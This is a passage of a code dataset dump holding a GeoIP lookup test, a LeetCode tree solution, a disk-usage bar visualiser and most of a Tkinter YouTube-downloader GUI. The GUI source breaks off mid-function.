GeoIP2_mock.return_value.country_code.return_value = 'ZZ'\n assert AbuseReport.lookup_country_code_from_ip('127.0.0.1') == 'ZZ'\n assert AbuseReport.lookup_country_code_from_ip('::1') == 'ZZ'\n\n GeoIP2_mock.return_value.country_code.side_effect = GeoIP2Exception\n assert AbuseReport.lookup_country_code_from_ip('127.0.0.1') == ''\n\n GeoIP2_mock.return_value.country_code.side_effect = GeoIP2Error\n assert AbuseReport.lookup_country_code_from_ip('127.0.0.1') == ''\n","repo_name":"pratyushsahay27/addons-server","sub_path":"src/olympia/abuse/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":4695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"34503687441","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nfrom collections import deque\nclass Solution:\n def addOneRow(self, root: Optional[TreeNode], val: int, depth: int) -> Optional[TreeNode]:\n if depth == 1:\n return TreeNode(val, left = root)\n \n queue = deque([root])\n height, size = 0, 0\n \n while queue:\n size = len(queue)\n \n while size:\n node = queue.popleft()\n \n if height == depth - 2:\n aux = node.left\n node.left = TreeNode(val)\n node.left.left = aux\n \n aux = node.right\n node.right = TreeNode(val)\n node.right.right = aux\n \n if node.left:\n queue.append(node.left)\n \n if node.right:\n queue.append(node.right)\n \n size -= 1\n \n height += 1\n \n return root\n","repo_name":"MAInformatico/LeetCode","sub_path":"Problems/AddOneRowtoTree.py","file_name":"AddOneRowtoTree.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20820182061","text":"import subprocess\nimport sys\nimport re\n\n\nbashColor = {\n 0: \"\\033[39m\", # Default\n 1: \"\\033[30m\", # Black\n 2: \"\\033[31m\", # Red\n 3: \"\\033[32m\", # Green\n 4: \"\\033[33m\", # Yellow\n 5: \"\\033[34m\", # Blue\n 6: \"\\033[35m\", # Magenta\n 7: \"\\033[36m\", # Cyan\n 8: \"\\033[37m\", # LightGray\n 9: \"\\033[90m\", # DarkGray\n 10: \"\\033[91m\", # LightRed\n 11: \"\\033[92m\", # LightGreen\n 12: \"\\033[93m\", # LightYellow\n 13: \"\\033[94m\", # LightBlue\n 14: \"\\033[95m\", # LightMagenta\n 15: \"\\033[96m\", # LightCyan\n 16: \"\\033[97m\", # White\n 99: '\\033[0m' # end\n}\n\n\nclass PartitionInfo:\n def __init__(self, name, percentage, avilable, total):\n self.name = name\n self.percentage = percentage\n self.avilable = avilable\n self.total = total\n\n\ndef get_subprocess_out(command):\n p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)\n (output, err) = p.communicate()\n p_status = p.wait()\n return [output, err, p_status]\n\n\ndef parse_df(output):\n clean_line = []\n output = output.split(\"\\n\")\n max_len = 0\n\n header = output[0].split()\n i_available = header.index('Avail')\n i_size = header.index('Size')\n len_header = len(header)\n\n for line in output:\n if line != \"\" and \"Filesystem\" not in line:\n pad = 0\n percentage = re.search(\n '([0-9]{1,3})%',\n line\n ).group(0).replace(\"%\", \"\")\n line = line.split()\n name = line[0]\n if len(line) >= len_header:\n pad = 1\n name = name+\" \"+line[1]\n max_len = max(len(name), max_len)\n clean_line.append(PartitionInfo(\n name,\n int(percentage),\n line[i_available+pad],\n line[i_size+pad])\n )\n\n return max_len, clean_line\n\n\ndef show_bar(max_len, partitions_list, divis=1, color=0):\n print(\"{:{}} {:>6}{:>6}\".format(\n \"Name\",\n max_len,\n \"Total\",\n \"Avail\",\n ))\n for partition in partitions_list:\n print(\"{:{}} {:>6}{:>6} {}{}{}{}{}\".format(\n partition.name,\n max_len,\n partition.total,\n partition.avilable,\n bashColor[color],\n chr(9724)*(partition.percentage//divis),\n bashColor[9],\n chr(9724)*((100//divis)-(partition.percentage//divis)),\n bashColor[99])\n ) # 9608 full block; 9607 seventh eight block; 9724 smaller rectangle\n\n\ndef main():\n color = 0\n divisor = 1\n if len(sys.argv) > 1:\n c_index = \"-c\" in sys.argv\n l_index = \"-l\" in sys.argv\n if c_index:\n try:\n color = int(sys.argv[sys.argv.index(\"-c\")+1]) % 17\n except ValueError:\n print(\"{}Ignored invalid argument for \\'color\\'. Default set to {}{}\".format(\n bashColor[4],\n color,\n bashColor[99]\n ))\n if l_index:\n try:\n divisor = int(sys.argv[sys.argv.index(\"-l\")+1])\n except ValueError:\n print(\"{}Ignored invalid argument for \\'divisor\\'. Default set to {}{}\".format(\n bashColor[4],\n divisor,\n bashColor[99]\n ))\n\n output = get_subprocess_out(\"df -h\")[0].decode(\"utf-8\")\n max_len, clean_line = parse_df(output)\n show_bar(max_len, clean_line, divisor, color)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"DCamma/disk-free-visualiser","sub_path":"df_visualiser.py","file_name":"df_visualiser.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43514668266","text":"import tkinter as tk\nfrom tkinter import ttk, filedialog\nfrom core import *\nimport json\nimport threading\nimport inspect\nfrom gui_settings import SettingsWindow\nimport shutil\nimport time\nfrom typing import Union\n\nimport subprocess\nimport shlex\n\nfrom time import sleep\n\nrequired_modules = [\"configparser\",\"pillow\",\"pyperclip\"]\ninstall_missing_modules(required_modules)\n\n# Further Import required modules checked in runtime\nimport configparser\nimport pyperclip\n\n## Main Application window\nclass YouTubeDownloaderGUI(tk.Tk):\n# === Application Stage 1: Initialization functions ===\n\n # Class Constructor: Creates the application, loads theme and configuration also adds global keybindings\n def __init__(self):\n # Call parent constructor\n super().__init__()\n\n # First Load configuration file \n self.config_file = 'config.ini'\n self.load_config()\n\n # Do further configuration\n self.columnconfigure(0, weight=1)\n self.rowconfigure(0, weight=1)\n\n # Load the theme from the configuration file \n self.load_theme()\n # Create the main window\n self.create_widgets()\n\n # Bind various key combinations\n self.bind_keys_from_config()\n\n # At the end also add main window closing callback\n self.protocol(\"WM_DELETE_WINDOW\", self.close_application_window)\n\n # Video Info list\n self.infoList = [];\n\n # Flagging variable\n self.cancel_flag = False\n self.download_in_progress_flag = False\n\n # Some settings\n self.COLUMN_INDEX_URL = 1 # Assuming the URL is the 2nd -1 column in the tree view\n self.COLUMN_INDEX_VIDEO_ID = 10 # Assuming the video ID is the 11th -1 column in the tree view\n #end\n\n # Handle window closing\n def close_application_window(self):\n # Stop all threads before closing the window\n self.cancel_flag = True\n for thread in threading.enumerate():\n if thread is not threading.main_thread():\n pass\n # thread.terminate() #TODO: more work needed here\n # thread.join()\n #end\n #end\n\n # Save configuration and close the window\n self.save_config()\n self.destroy()\n #end\n\n # Load configuration which is used to preserve and import configuration variables\n def load_config(self):\n if not self.config_file:\n raise ValueError(\"Configuration file not defined\")\n #end\n\n self.config = configparser.ConfigParser()\n self.config.read(self.config_file)\n #end\n\n # Save the configuration file is used to preserve and import configuration variables\n def save_config(self):\n\n # Check if config has been loaded, otherwise create a new one with defaults\n if not hasattr(self, \"config\"):\n raise ValueError(f\"Configuration file has not been loaded yet of there is a problem with the {self.config_file}!\")\n #end\n\n # Save theme\n section = \"General\"\n theme_directory = self.config.get(section, 'theme_directory')\n self.config.set(section, 'theme_directory', theme_directory)\n self.config.set(section, 'theme', self.theme[\"filename\"])\n self.config.set(section, \"last_download_location\",self.download_location_entry.get())\n \n # Save default and current settings\n section = \"DownloadSettings\"\n options = [\"audio_bitrate\",\"video_bitrate\",\"fps\", \n \"video_format_priority\",\n \"audio_format_priority\"]\n defaultValues = [\"max\",\"max\",\"max\",\n \"mp4, webm, flv, 3gp, m4a\",\n \"wav, mp3, aac, m4a\"]\n for option, value in zip(options, defaultValues):\n if not self.config.has_option(section, option):\n self.config.set(section, option, value)\n #end\n #end\n\n # Save column visibility settings\n for col, var in self.column_visible.items():\n self.config.set('ColumnsVisibility', col, str(var.get()))\n #end\n\n with open(self.config_file, 'w') as file:\n self.config.write(file)\n #end\n #end\n\n # Load theme\n def load_theme(self):\n theme_directory = self.config.get('General', 'theme_directory')\n theme_file = self.config.get('General', 'theme')\n language_file = self.config.get('General', 'language')\n \n # Load theme file\n with open(f\"{theme_directory}/{theme_file}\", \"r\") as file:\n theme = json.load(file)\n #end\n \n # Load language file\n with open(f\"{theme_directory}/{language_file}\", \"r\") as file:\n language = json.load(file)\n #end\n\n def merge_dict(d1, d2):\n for k, v in d1.items():\n if k in d2:\n if isinstance(v, dict) and isinstance(d2[k], dict):\n merge_dict(v, d2[k])\n else:\n d2[k] = v\n #end\n #end\n else:\n d2[k] = v\n #end\n #end\n return d2\n #end\n \n # Merge theme and language dictionaries\n self.theme = merge_dict(theme, language)\n \n # Add the filename to the theme dictionary\n self.theme[\"filename\"] = theme_file\n\n application_window_icon_path = f\"{self.theme['global']['directories']['icons']}{self.theme['icons']['application_window']}\"\n self.iconbitmap(application_window_icon_path)\n\n self.title(self.theme[\"window_title\"])\n self.configure(bg=self.theme[\"global\"][\"colors\"][\"background\"])\n self.geometry(f\"{self.theme['global']['window']['width']}x{self.theme['global']['window']['height']}\") \n #end\n\n # Bind keys according to the configuration file\n def bind_keys_from_config(self):\n # Check if config has been loaded\n if not hasattr(self, \"config\"):\n self.load_config()\n #end\n\n # Load key bindings from config file\n keybindings = self.config[\"KeyBindings\"]\n for key, value in keybindings.items():\n if value:\n # Parse keybinding and command from config value\n callbackName, keybindingCombo = [val.strip() for val in value.split(\":\")]\n # Check if callbackName is a valid function name\n if not hasattr(self, callbackName.strip()):\n raise AttributeError(f\"{callbackName.strip()} is not a valid callback function name in {self.config_file}.\")\n #end\n # Add key binding to application\n self.bind(keybindingCombo, getattr(self, callbackName))\n #end\n #end\n #end\n\n # Create the window and all widgets\n def create_widgets(self):\n window_padding = self.theme['global']['window']['padding']\n TC = 50;# Total number of columns\n\n # Create the window frame\n frame = ttk.Frame(self)\n frame.grid(column=0, row=0, sticky=(tk.N, tk.S, tk.E, tk.W), padx=window_padding, pady=window_padding)\n\n # Get tree view column headings\n self.columns = tuple(self.theme[\"tree_view\"][\"heading\"].keys())\n\n # Custom style for the tree view widget\n style = ttk.Style()\n style.configure(\"Treeview\", background=self.theme[\"tree_view\"][\"colors\"][\"background\"])\n style.map(\"Treeview\", background=[(\"selected\", self.theme[\"tree_view\"][\"colors\"][\"selected\"])])\n style.configure(\"Treeview\", foreground=self.theme[\"global\"][\"colors\"][\"button_text\"])\n style.map(\"Treeview\", foreground=[(\"selected\", self.theme[\"tree_view\"][\"colors\"][\"selected_text\"])])\n\n # Creating the Tree view widget (table)\n self.tree = ttk.Treeview(frame, columns=self.columns, show=\"headings\", height=25, style=\"Treeview\")\n self.tree.grid(row=0, column=0, columnspan=TC, sticky=(tk.N, tk.S, tk.E, tk.W))\n self.tree.bind('<>', self.on_treeview_selection)\n\n # Assign labels and widths to the tree view columns\n for col in self.columns:\n self.tree.heading(col, text=self.theme[\"tree_view\"][\"heading\"][col],anchor=\"center\")#,anchor=self.theme[\"tree_view\"][\"alignment\"][col]\n self.tree.column(col, width=self.theme[\"tree_view\"][\"column_width\"][col],anchor=self.theme[\"tree_view\"][\"alignment\"][col])# stretch=tk.NO\n #end\n\n # Add the right-click binding\n self.tree.bind(\"\", self.show_tree_popup_menu_callback)\n\n # Create the column visibility variables\n self.column_visible = {col: tk.BooleanVar(value=self.theme[\"tree_view\"][\"column_visibility\"][col]) for col in self.columns}\n\n # Load default visibility settings for columns from configuration\n for col in self.tree[\"columns\"]:\n self.column_visible[col] = tk.BooleanVar(value=self.config.getboolean('ColumnsVisibility', col))\n self.toggle_column_visibility(col)# Update the columns\n #end\n\n # Column Sorting\n for col in self.columns:\n self.tree.heading(col, text=self.theme[\"tree_view\"][\"heading\"][col], command=lambda col=col: self.sort_column(col))\n #end\n self.sortColumn = \"\"\n self.sortDirection = \"\"\n\n # Vertical scrollbar column -----------------\n # Create a scrollbar for the tree view widget (table) :TODO make it automatic\n self.tree_scrollbar = ttk.Scrollbar(frame, orient=\"vertical\", command=self.tree.yview)\n self.tree_scrollbar.grid(row=0, column=TC, sticky=(tk.N, tk.S))\n self.tree.configure(yscrollcommand=self.tree_scrollbar.set)\n\n # Second row -----------------\n # Add a label for the input text field\n url_label = ttk.Label(frame, text=self.theme[\"texts\"][\"url_label\"])\n url_label.grid(column=0, row=1, sticky=tk.W, pady=10)\n\n # Create an input text field\n self.url_entry = tk.Entry(frame)\n self.url_entry.grid(column=1, row=1,columnspan=TC-2, sticky=(tk.W, tk.E), padx=(0, 0), pady=10)\n self.url_entry.bind(\"\", self.show_context_menu)\n\n\n # Create buttons\n self.analyse_button = ttk.Button(frame, text=self.theme[\"texts\"][\"analyse_button\"], command=self.process_input_text_callback)\n self.analyse_button.grid(column=TC-1, row=1, sticky=tk.E, padx=(0, 0))\n\n # Third row -----------------\n # Create settings button with a gear icon (existing code)\n icon_path = f\"{self.theme['global']['directories']['icons']}{self.theme['icons']['settings_button']}\"\n self.settings_icon = tk.PhotoImage(file=icon_path)\n self.settings_button = ttk.Button(frame, image=self.settings_icon)\n self.settings_button.grid(column=0, row=2, sticky=tk.W)\n\n #TODO: implement a help button here.\n\n # Add dropdown boxes for quality limiters\n\n # self.download_limiter_label = ttk.Label(frame, text=\"Download limiters:\")\n # self.download_limiter_label.grid(column=0, row=2, sticky=(tk.W, tk.E), padx=(60, 0))\n\n audio_bitrate_list = [self.config.get(\"DownloadSettings\", \"audio_bitrate\"), \"max kbps\", \"384 kbps\", \"320 kbps\", \"256 kbps\", \"192 kbps\", \"160 kbps\", \"128 kbps\", \"96 kbps\", \"64 kbps\"]\n video_resolution_list = [self.config.get(\"DownloadSettings\", \"video_bitrate\"), \"max p\", \"15360p\", \"7680p\", \"4320p\", \"2160p\", \"1440p\", \"1080p\", \"720p\", \"480p\", \"360p\", \"240p\", \"144p\"]\n fps_value_list = [self.config.get(\"DownloadSettings\", \"fps\"), \"max fps\", \"240 fps\", \"120 fps\", \"60 fps\", \"50 fps\", \"48 fps\", \"30 fps\", \"25 fps\", \"24 fps\", \"15 fps\"]\n\n self.dropdown_audio_limiter_selection = tk.StringVar(value=audio_bitrate_list[0])\n self.dropdown_video_limiter_selection = tk.StringVar(value=video_resolution_list[0])\n self.dropdown_fps_limiter_selection = tk.StringVar(value=fps_value_list[0])\n\n self.dropdown_audio_limiter = ttk.OptionMenu(frame, self.dropdown_audio_limiter_selection, *audio_bitrate_list)\n self.dropdown_video_limiter = ttk.OptionMenu(frame, self.dropdown_video_limiter_selection, *video_resolution_list)\n self.dropdown_fps_limiter = ttk.OptionMenu(frame, self.dropdown_fps_limiter_selection, *fps_value_list)\n\n self.dropdown_audio_limiter.grid(row=2, column=1, padx=(0, 0), pady=5, sticky=\"w\")\n self.dropdown_video_limiter.grid(row=2, column=2, padx=(0, 0), pady=5, sticky=\"w\")\n self.dropdown_fps_limiter.grid(row=2, column=3, padx=(0, 0), pady=5, sticky=\"w\")\n\n # Create the \"Select Download Location\" button\n self.select_location_button = ttk.Button(frame, text=self.theme[\"texts\"][\"select_location_button\"], command=self.open_select_location_dialog)\n self.select_location_button.grid(column=4, row=2, sticky=tk.W, padx=(0, 0))\n\n # Create the \"Selected Download Location\" text field\n self.download_location_entry = tk.Entry(frame)\n self.download_location_entry.grid(column=5, row=2,columnspan=TC-6, sticky=(tk.W, tk.E), padx=(0, 0))\n self.download_location_entry.insert(0, self.config.get(\"General\", \"last_download_location\"))\n self.download_location_entry.bind(\"\", self.show_context_menu)\n\n # Bind the events to the button\n self.settings_button.bind(\"\", self.on_settings_button_hover)\n self.settings_button.bind(\"\", self.on_settings_button_leave)\n self.settings_button.bind(\"\", self.on_settings_button_click)\n\n # Create the \"Download\" button\n self.download_button = ttk.Button(frame, text=self.theme[\"texts\"][\"download_button\"], command=self.download_all_entries_callback)\n self.download_button.grid(column=TC-1, row=2, sticky=tk.E, padx=(0, 0))\n\n # Forth row -----------------\n # Create a progress bar widget\n self.progress_bar_msg = tk.StringVar()#TODO: may be redundant\n self.progress_bar = ttk.Progressbar(self, orient=\"horizontal\", length=200, mode=\"determinate\",variable=self.progress_bar_msg)\n self.progress_bar.grid(column=0, row=3, columnspan=TC, sticky=(tk.W, tk.E))\n\n # Create the \"Diagnostic out label\" label and text field\n self.status_bar_label = ttk.Label(frame, text=\"\")\n self.status_bar_label.grid(column=0, row=3, columnspan=TC, sticky=(tk.W, tk.E))\n\n # Configure column and row weights\n for i in range(TC):\n frame.columnconfigure(i, weight=1)\n #end\n frame.rowconfigure(0, weight=1)\n #end\n\n# === Application Stage 2: Settings & Configuration setup window functions & dialogs ===\n # ------ Callbacks and companion functions configuration/settings window button -------\n\n # Configuration window button Icon callbacks\n def on_settings_button_hover(self, event):\n icon_path = f\"{self.theme['global']['directories']['icons']}{self.theme['icons']['settings_button_hover']}\"\n hover_icon = tk.PhotoImage(file=icon_path)\n self.settings_button.config(image=hover_icon)\n self.settings_button.image = hover_icon\n #end\n\n def on_settings_button_leave(self, event):\n icon_path = f\"{self.theme['global']['directories']['icons']}{self.theme['icons']['settings_button']}\"\n normal_icon = tk.PhotoImage(file=icon_path)\n self.settings_button.config(image=normal_icon)\n self.settings_button.image = normal_icon\n #end\n\n def on_settings_button_click(self, event):\n icon_path = f\"{self.theme['global']['directories']['icons']}{self.theme['icons']['settings_button_click']}\"\n click_icon = tk.PhotoImage(file=icon_path)\n self.settings_button.config(image=click_icon)\n self.settings_button.image = click_icon\n self.open_settings_window()\n self.save_config() # Add this line to save the config when the settings button is clicked\n #end\n\n # Settings window behavior companion function for the callback\n def open_settings_window(self):\n if hasattr(self, \"settings_window\") and self.settings_window.winfo_exists():\n self.settings_window.destroy()\n del self.settings_window\n else:\n self.settings_window = SettingsWindow(self)\n #end\n #end\n\n # Add the function to open a dialog for location selection\n def open_select_location_dialog(self, event=None):\n download_location_here = filedialog.askdirectory()\n if download_location_here:\n self.download_location_entry.delete(0, tk.END)\n self.download_location_entry.insert(0, download_location_here)\n self.update_idletasks()\n #end\n #end\n\n# === Application Stage 4: Youtube Video table Info user manipulation ===\n # ------ Callbacks and companion functions for the tree view columns Context menu -------\n # Add a show popup menu method callback\n def show_tree_popup_menu_callback(self, event):\n # Get the height of the header\n header_height = abs(self.tree.winfo_height() - self.tree.winfo_reqheight())\n header_height = 25 # TODO: will be hardcoded for now!\n\n # Check if the click event is above the column labels\n if event.y < header_height:\n popup = tk.Menu(self, tearoff=0)\n\n for col in self.tree[\"columns\"]:\n text = self.tree.heading(col)[\"text\"]\n popup.add_checkbutton(label=text, variable=self.column_visible[col], command=lambda col=col: self.toggle_column_visibility(col))\n #end\n else:\n # Get the number of selected items\n selected_items_count = len(self.tree.selection())\n\n # Create the popup menu\n popup = tk.Menu(self, tearoff=0)\n\n # Add the message about the selected items count\n popup.add_command(label=f\"{selected_items_count} item(s) selected\", state='disabled')\n popup.add_separator()\n\n if self.download_in_progress_flag:\n _state=\"disabled\"\n else:\n _state=\"normal\"\n #end\n # Add download status options\n popup.add_command(label=\"Download Status: Pending \"+COMBINED_SYMBOL, command=lambda: self.change_download_status(COMBINED_SYMBOL,\"on\"), state=_state)\n popup.add_command(label=\"Download Status: Skip \", command=lambda: self.change_download_status(COMBINED_SYMBOL,\"off\"), state=_state)\n popup.add_separator()\n popup.add_command(label=\"Keep Audio Only: Toggle Add/Remove \"+AUDIO_ONLY_SYMBOL, command=lambda: self.change_download_status(AUDIO_ONLY_SYMBOL), state=_state)\n popup.add_command(label=\"Keep Video Only: Toggle Add/Remove \"+VIDEO_ONLY_SYMBOL, command=lambda: self.change_download_status(VIDEO_ONLY_SYMBOL), state=_state)\n popup.add_command(label=\"Keep All Subtitles Only: Toggle Add/Remove \"+SUBTITLES_ONLY_SYMBOL, command=lambda: self.change_download_status(SUBTITLES_ONLY_SYMBOL), state=_state)\n popup.add_command(label=\"Keep Thumbnail: Toggle Add/Remove \"+THUMBNAIL_SYMBOL, command=lambda: self.change_download_status(THUMBNAIL_SYMBOL), state=_state)\n popup.add_command(label=\"Keep Info: Toggle Add/Remove \"+INFO_SYMBOL, command=lambda: self.change_download_status(INFO_SYMBOL), state=_state)\n popup.add_command(label=\"Keep Comments: Toggle Add/Remove \"+COMMENTS_SYMBOL, command=lambda: self.change_download_status(COMMENTS_SYMBOL), state=_state)\n popup.add_command(label=\"Clear All Keeps\", command=lambda: self.change_download_status_clearall())\n\n # Add a separator and the copy_selected_entries section\n popup.add_separator()\n popup.add_command(label=\"Copy Selected Entries\", command=self.copy_selected_entries)\n popup.add_command(label=f\"Play Preview {selected_items_count} item(s) in Local player\", command=self.play_selected_watch_urls_locally)\n popup.add_command(label=f\"Show preview selected thumbnails\", command=self.open_selected_thumbnails_urls_locally)\n #end\n\n popup.tk_popup(event.x_root, event.y_root)\n #end\n\n def show_context_menu(self, event):\n widget = event.widget\n context_menu = tk.Menu(self, tearoff=0)\n context_menu.add_command(label=\"Undo\", command=lambda: widget.event_generate(\"<>\"))\n context_menu.add_command(label=\"Redo\", command=lambda: widget.event_generate(\"<>\"))\n context_menu.add_separator()\n context_menu.add_command(label=\"Cut\", command=lambda: widget.event_generate(\"<>\"))\n context_menu.add_command(label=\"Copy\", command=lambda: widget.event_generate(\"<>\"))\n context_menu.add_command(label=\"Paste\", command=lambda: widget.event_generate(\"<>\"))\n context_menu.add_separator()\n context_menu.add_command(label=\"Select All\", command=lambda: widget.select_range(0, tk.END))\n context_menu.tk.call(\"tk_popup\", context_menu, event.x_root, event.y_root)\n #end\n\n # A method to toggle the column visibility\n def toggle_column_visibility(self, col):\n visibility = self.column_visible[col].get()\n\n if visibility:\n width_ = self.theme[\"tree_view\"][\"column_width\"][col]\n stretch_ = True\n else:\n width_ = 0\n stretch_ = False\n #end\n\n self.tree.column(col, width=width_, minwidth=0,stretch=stretch_)\n #end\n\n # Add a sort_column method\n def sort_column(self, col):\n # Sorting variables\n sortDirections = [\"asc\", \"desc\"]\n symbol = [\"▲\", \"▼\"]\n\n # First remove the symbol from the heading\n if self.sortColumn != \"\":\n self.tree.heading(self.sortColumn, text=self.theme[\"tree_view\"][\"heading\"][self.sortColumn])\n #end\n\n # If the same column is selected, alternate the sorting direction\n if self.sortColumn == col:\n ind = (sortDirections.index(self.sortDirection) + 1) % len(sortDirections)\n else:\n ind = 0\n #end\n self.sortDirection = sortDirections[ind]\n heading_symbol = symbol[ind]\n\n # Get the data\n data = [(self.tree.set(child, col), child) for child in self.tree.get_children('')]\n\n # Try to cast the data as float i.e numerical otherwise keep it as text \n def try_float(val):\n try:\n return float(val)\n except ValueError:\n return val\n #end\n #end\n\n # Some entries will be handled specifically\n def sort_key(item):\n value = item[0]\n if col == \"download_size\":\n value = value.split()[0]\n #end\n return try_float(value)\n #end\n\n # Do the sorting of the keys\n if self.sortDirection == \"asc\":\n data.sort(key=sort_key, reverse=False)\n else:\n data.sort(key=sort_key, reverse=True)\n #end\n\n # Create a mapping between tree view children IDs and their indices in self.InfoList\n id_to_index = {info.video_id: index for index, info in enumerate(self.infoList)}\n\n # Sort self.infoList based on the sorted order of tree view data #TODO: fix error here\n # self.infoList = [x[1] for x in sorted(zip(data, self.infoList), key=lambda x: id_to_index[x[0][1]])]\n\n # Move the sorted data to the correct position in the treeview\n for indx, item in enumerate(data):\n self.tree.move(item[1], '', indx)\n #end\n\n # Update the status message to indicate the sorting column\n self.dispStatus( f\"Sorting by: {col} in \"+heading_symbol+\" direction\")\n\n # Include a sorting direction symbol to the heading\n heading_text = self.theme[\"tree_view\"][\"heading\"][col]\n self.tree.heading(col, text=heading_text +\" \"+ heading_symbol)\n\n # Keep track of the sorting column\n self.sortColumn = col\n #end\n\n # ------ Callbacks and companion functions for the tree view rows selection and deselection -------\n def select_all_entries(self, event=None):\n items = self.tree.get_children()\n for item in items:\n self.tree.selection_add(item)\n #end\n #end\n\n def on_treeview_selection(self, event):\n selected_items = self.tree.selection()\n total_items = len(self.tree.get_children())\n\n if len(selected_items) == 1:\n item = selected_items[0]\n video_title = self.tree.item(item)[\"values\"][2]\n msg = f\"Selected 1 item: {video_title}\"\n else:\n msg = f\"Selected {len(selected_items)} of {total_items} items\"\n #end\n\n self.dispStatus( msg)\n #end\n\n def extend_selection(self, event):\n if self.selection_anchor is None:\n return\n #end\n #TODO function needs to be fixed\n cur_selection = self.tree.selection()\n\n if event.keysym == 'Up':\n first_selected = cur_selection[0]\n prev_item = self.tree.prev(first_selected)\n\n if prev_item:\n if self.selection_direction == 'Up':\n self.tree.selection_add(prev_item)\n else:\n self.tree.selection_remove(first_selected)\n if first_selected == self.selection_anchor:\n self.selection_direction = 'Up'\n #end\n #end\n #end\n elif event.keysym == 'Down':\n last_selected = cur_selection[-1]\n next_item = self.tree.next(last_selected)\n\n if next_item:\n if self.selection_direction == 'Down':\n self.tree.selection_add(next_item)\n else:\n self.tree.selection_remove(last_selected)\n if last_selected == self.selection_anchor:\n self.selection_direction = 'Down'\n #end\n #end\n #end\n #end\n #end\n\n def set_selection_anchor(self, event=None):\n if not hasattr(self, 'selection_anchor'):\n self.selection_anchor = None\n #end\n\n if not hasattr(self, 'selection_direction'):\n self.selection_direction = None\n #end\n\n cur_selection = self.tree.selection()\n if cur_selection:\n if not self.selection_anchor:\n self.selection_anchor = cur_selection[0]\n self.selection_direction = 'Up' if event.keysym == 'Up' else 'Down'\n #end\n #end\n #end\n\n def clear_selection_anchor(self, event=None):\n self.selection_anchor = None\n self.selection_direction = None\n #end\n\n def move_selection(self, direction: str, event=None):\n # TODO: this needs to be fixed, it skips one entry\n selected_items = self.tree.selection()\n if selected_items:\n if direction == 'up':\n target_item = self.tree.prev(selected_items[0])\n elif direction == 'down':\n target_item = self.tree.next(selected_items[-1])\n else:\n return\n #end\n if target_item:\n self.tree.selection_set(target_item)\n self.tree.focus(target_item)\n #end\n #end\n #end\n\n def move_selection_up_callback(self, event=None):\n self.move_selection('up', event)\n #end\n\n def move_selection_down_callback(self, event=None):\n self.move_selection('down', event)\n #end\n\n # --- get methods for the association between the GUI table and the info list\n # This method is used to locate a video info from a list\n def get_video_info_by_index_or_video_id(self, video_id: str, index: int = -1) -> Union[VideoInfo, None]:\n # Check if the input index is valid and if the video_id at that index matches the input video_id\n if 0 <= index < len(self.infoList) and self.infoList[index].video_id == video_id:\n return self.infoList[index]\n #end\n\n # If the index is not valid or the video_id doesn't match, search exhaustively\n for video_info in self.infoList:\n if video_info.video_id == video_id:\n return video_info\n #end\n #end\n\n # If no match is found, return None\n return None\n #end\n\n def get_video_info_by_entry(self, item) -> Union[VideoInfo, None]:\n # Get the video_id associated with the selected tree view item\n video_id = self.tree.set(item, 'video_id')\n # Get the index of the selected tree view item\n item_index = self.tree.index(item)\n\n # Use the get_video_info_by_index_or_video_id function to find the VideoInfo object\n video_info = self.get_video_info_by_index_or_video_id(video_id, item_index)\n\n return video_info\n #end\n\n def get_tree_view_item_by_video_info(self, video_info: VideoInfo) -> Union[str, None]:\n # Check if the input video_info is valid\n if video_info is None:\n return None\n #end\n\n # Try to find the tree view item by index first\n index = self.infoList.index(video_info)\n if index != -1:\n item = self.tree.get_children()[index]\n # Check if the video_id matches\n if self.tree.set(item, 'video_id') == video_info.video_id:\n return item\n #end\n #end\n\n # If the index method fails or video_id doesn't match, search exhaustively\n for item in self.tree.get_children():\n if self.tree.set(item, 'video_id') == video_info.video_id:\n return item\n #end\n #end\n\n # If no match is found, return None\n return None\n #end\n\n\n # ------ Callbacks and companion functions for the tree view rows operations Context menu or Key Bindings -------\n def updateTreeViewFromInfoList(self):\n # Clear the tree view\n self.tree.delete(*self.tree.get_children())\n\n # Re-insert all entries from the infoList\n for info in self.infoList:\n self.tree.insert(\"\", \"end\", values=info.as_tuple())\n #end\n #end\n\n def remove_table_entry(self, event=None):\n selected_items = self.tree.selection()\n\n for item in selected_items:\n # Find the corresponding VideoInfo object\n video_info = self.get_video_info_by_entry(item)\n\n if video_info is not None:\n # Remove the VideoInfo object from the infoList\n index_to_remove = self.infoList.index(video_info)\n self.infoList.pop(index_to_remove)\n else:\n raise ValueError(\"VideoInfo not found for the selected tree view item\")\n #end\n\n self.tree.delete(item)\n #end\n #end\n\n def change_download_status(self, symbol, state=\"toggle\"):\n selected_items = self.tree.selection()\n\n for item in selected_items:\n new_status = updateOutputKeepsStr(self.tree.set(item, 'download_status'), symbol, state)\n\n # Update the download status of the selected item in the tree view\n self.tree.set(item, 'download_status', new_status)\n\n # Find the corresponding VideoInfo object and update its download state\n video_info = self.get_video_info_by_entry(item)\n if video_info is not None:\n video_info.download_status = new_status\n else:\n print(f\"Error: VideoInfo object not found for item '{item}'\")\n #end\n #end\n #end\n\n def change_download_status_clearall(self):\n selected_items = self.tree.selection()\n symbol_list = [COMBINED_SYMBOL, VIDEO_ONLY_SYMBOL, AUDIO_ONLY_SYMBOL, THUMBNAIL_SYMBOL, INFO_SYMBOL, COMMENTS_SYMBOL]\n state = \"off\"\n\n for item in selected_items:\n for symbol in symbol_list:\n new_status = updateOutputKeepsStr(self.tree.set(item, 'download_status'), symbol, state)\n\n # Update the download status of the selected item in the tree view\n self.tree.set(item, 'download_status', new_status)\n\n # Find the corresponding VideoInfo object and update its download state\n video_info = self.get_video_info_by_entry(item)\n if video_info is not None:\n video_info.download_status = new_status\n else:\n print(f\"Error: VideoInfo object not found for item '{item}'\")\n #end\n #end\n #end\n #end\n\n\n def copy_selected_entries(self, event=None):\n selected_items = self.tree.selection()\n text_to_copy = []\n\n # Get the list of visible columns\n visible_columns = [col for col in self.tree[\"columns\"] if self.tree.column(col, \"width\") > 0]\n\n for item in selected_items:\n item_values = self.tree.item(item)['values']\n visible_item_values = 